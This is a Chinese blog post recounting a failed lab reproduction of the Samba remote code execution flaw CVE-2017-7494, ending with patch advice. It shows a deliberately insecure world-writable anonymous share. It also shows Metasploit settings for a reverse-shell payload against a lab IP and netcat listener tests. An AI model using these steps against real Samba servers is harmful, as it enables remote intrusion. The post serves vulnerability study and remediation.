linux smb 漏洞_Samba远程代码执行漏洞(CVE-2017-7494)

我自横刀向天笑 去留肝胆两昆仑

原本想复现一下CVE-2017-7494漏洞再分享出来的，没曾想过程一波三折，结果还铩羽而归。诶，还是在此记录一下失败的复现过程吧，为了纪念一下折腾不止的岁月，还有原谅我没有最终复现成功-！-。

关于此漏洞的介绍不用多说，可以移步Samba远程代码执行漏洞|Freebuf。Samba远程代码执行漏洞被业内称为linux版的永恒之蓝，危害可想而知。当然相比windows来说，linux下的445端口是默认关闭的，而有些版本的linux并没有自带samba软件，算是万幸。

漏洞影响版本

Samba 3.5.0到4.6.4/4.5.10/4.4.14的中间版本。

漏洞利用条件服务器打开了文件/打印机共享端口445

共享文件拥有访问以及写入权限

攻击者知道共享的目录路径

目前测试发现匿名登录与需要账号密码登录的情况都可以成功执行此漏洞，当然设置了账号密码的，在攻击时需要提供正确的账号密码。

漏洞利用原理

攻击者可通过上传恶意的链接库文件(.so)，使服务端程序加载并执行它，从而实现远程代码执行。

EXP

MSF已经更新了此漏洞的利用模块，链接：is_known_pipename.rb

另外国外大牛也用python写了个利用脚本(exp)：42060.py

复现的坑

想要复现此漏洞，首先得搭建一个靶机(不建议找公网的机子测试)。于是我找了台ubuntu服务器(14.04.1-Ubuntu)，此版本默认安装了samba(Version 4.3.11-Ubuntu)省去了一些安装的麻烦，那么接下来就是要配置samba。

首先创建一个目录用于共享

1mkdir /home/share

然后设置权限(若不设置权限，用户将会没有写权限)

1chmod 777 /home/share

最后修改samba配置文件：

1vim /etc/samba/smb.conf

在文件最后添加一下内容：

1

2

3

4

5

6[myshare]

comment=smb share test

browseable=yes #可读

writeable=yes #可写

path=/home/share #设置目录(上一步创建的共享目录)

public = yes #允许匿名登录

开启samba服务

1

2

3/etc/init.d/smbd start #开启

/etc/init.d/smbd stop #关闭

/etc/init.d/smbd restart #重启

开启后，尝试远程访问一下：\\ip，经过测试我发现可以匿名登录，登录以后也有写权限。

靶机搭建完毕，接下来就开启MSF神器吧。

MAC10.11版本不支持最新版MSF

首先我在MAC上更新了msf，直接敲命令：msfupdate，没过多久更新成功了，于是我准备启动msf，输入命令：msfconsole，结果报错了(一脸懵逼，早知道就加载exploit文件就行了)。

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18dyld: lazy symbol binding failed: Symbol not found: _clock_gettime

Referenced from: /opt/metasploit-framework/embedded/lib/libruby.2.4.1.dylib (which was built for Mac OS X 10.12)

Expected in: /usr/lib/libSystem.B.dylib

dyld: Symbol not found: _clock_gettime

Referenced from: /opt/metasploit-framework/embedded/lib/libruby.2.4.1.dylib (which was built for Mac OS X 10.12)

Expected in: /usr/lib/libSystem.B.dylib

/opt/metasploit-framework/bin/msfdb: line 23: 4721 Trace/BPT trap: 5 ruby "$INSTALL_DIR/embedded/framework/msfdb" "$@"

dyld: lazy symbol binding failed: Symbol not found: _clock_gettime

Referenced from: /opt/metasploit-framework/embedded/lib/libruby.2.4.1.dylib (which was built for Mac OS X 10.12)

Expected in: /usr/lib/libSystem.B.dylib

dyld: Symbol not found: _clock_gettime

Referenced from: /opt/metasploit-framework/embedded/lib/libruby.2.4.1.dylib (which was built for Mac OS X 10.12)

Expected in: /usr/lib/libSystem.B.dylib

/opt/metasploit-framework/bin/msfconsole: line 123: 4725 Trace/BPT trap: 5 $BIN/ruby $FRAMEWORK/$cmd $db_args "$@"

本人第一次碰见这个报错，于是只能上google查找解决方案，翻查一会在Github的Issues中发现了这个错误，错误原因是mac10.11版本不支持最新版的msf，需要将mac升级到10.12然后升级xcode。此时我的心情是崩溃的，首先我的是黑苹果，好不容易安装10.11成功了，想要突破到10.12谈何容易，其次msf已经被我升级了，怎么回退啊请问！

注：其实不需要利用msfupdate更新msf，即使更新了也要自己加载exploit模块，因此只需要将is_known_pipename.rb文件放到msf的modules目录下即可。(当时sb了)

Payload无法加载？

舒缓心情后，继续折腾，那么既然mac上的msf不能用了，我就只能开一个虚拟机，好在之前虚拟机里面安装过kali，因此这回直接可以用了。打开kali后，我原本也想用msfupdate更新msf到最新版，但想想其实主要就是下载那个sabma漏洞的利用脚本。为了俭省时间，我直接去github上下载了is_known_pipename.rb，然后扔进了/usr/share/metasploit-framework/modules/exploits/linux/samba/目录下。然而当我运行msfconsole，加载is_known_pipename模块后，发现没有payload模块可以选择，因此攻击不能成功。

Session回连失败

事实证明当时是我打错了，应该不存在payload无法加载的问题。等我成功加载了此模块以及payload，也设置好参数了，可悲剧的事情又发生了，exploit实施攻击后，向靶机写入文件成功了，但是没有回链session。

MSF参数设置：

1

2

3

4set rhost 172.16.1.2

set smb_share_base /home/nmask/share

set payload generic/shell_reverse_tcp

exploit

Exploit后回显的部分信息：

1Exploit completed,but no session was created

查看共享文件夹，已经成功生成.so文件：

靶机网络问题or匿名登录问题？

起初我以为是匿名登录的原因，于是设置了samba账号密码，并且在msf上也设置了SMBPass与SMBUser。

靶机上配置

修改配置文件

1

2

3

4

5

6[myshare]

comment=smb share test

browseable=yes #可读

writeable=yes #可写

path=/home/share #设置目录(上一步创建的共享目录)

public = no #不允许匿名登录

在 [global] 设置选项中添加配置

1security = user

命令行添加用户

1

2

3useradd smbuser

smbpasswd -a smbuser

/etc/init.d/restart

注意以上添加的用户一定要是linux上存在的用户。

kali上配置1

2set SMBUser username

set SMBPass password

然而最终session仍然没有成功创建，然后我怀疑是靶机无法直接连接虚拟机监听的端口，于是用nc进行了测试。

虚拟机(kali)

1nc -vv -l -p 4444

靶机(Ubuntu 64位)

1nc 192.168.1.2 4444

最后的结果证明，靶机可以连通虚拟机的4444端口。

kali版本问题？

最后在逛tools时发现有表哥说此exp只适合64位的kali，虽然我不明白这跟kali的版本有毛关系，但事实是我的kali是32位的并且我没有复现成功。为了验证这一说法，我特意安装了64位的kali，然后将is_konwn_pipename.rb文件放到msf模块目录下，然而最终的结果还是没有成功，因此这个说法是不成立的。如果真的是对系统版本有要求，那也应该对靶机的环境有要求。

也许搭了个假的靶机

那么我想最终原因就肯定出在我搭建的靶机上了，回顾过程，并没有发现有什么问题，而且权限也都是有的，毕竟共享文件夹下已经生成了.so文件。好吧，我暂时无能为力了，为了复现一个漏洞，我容易吗我!?

修复方案打补丁

升级到Samba 4.6.4/4.5.10/4.4.14任意版本

在smb.conf的[global]板块中添加参数：nt pipe support = no 然后重启smbd服务。

复现成功的案例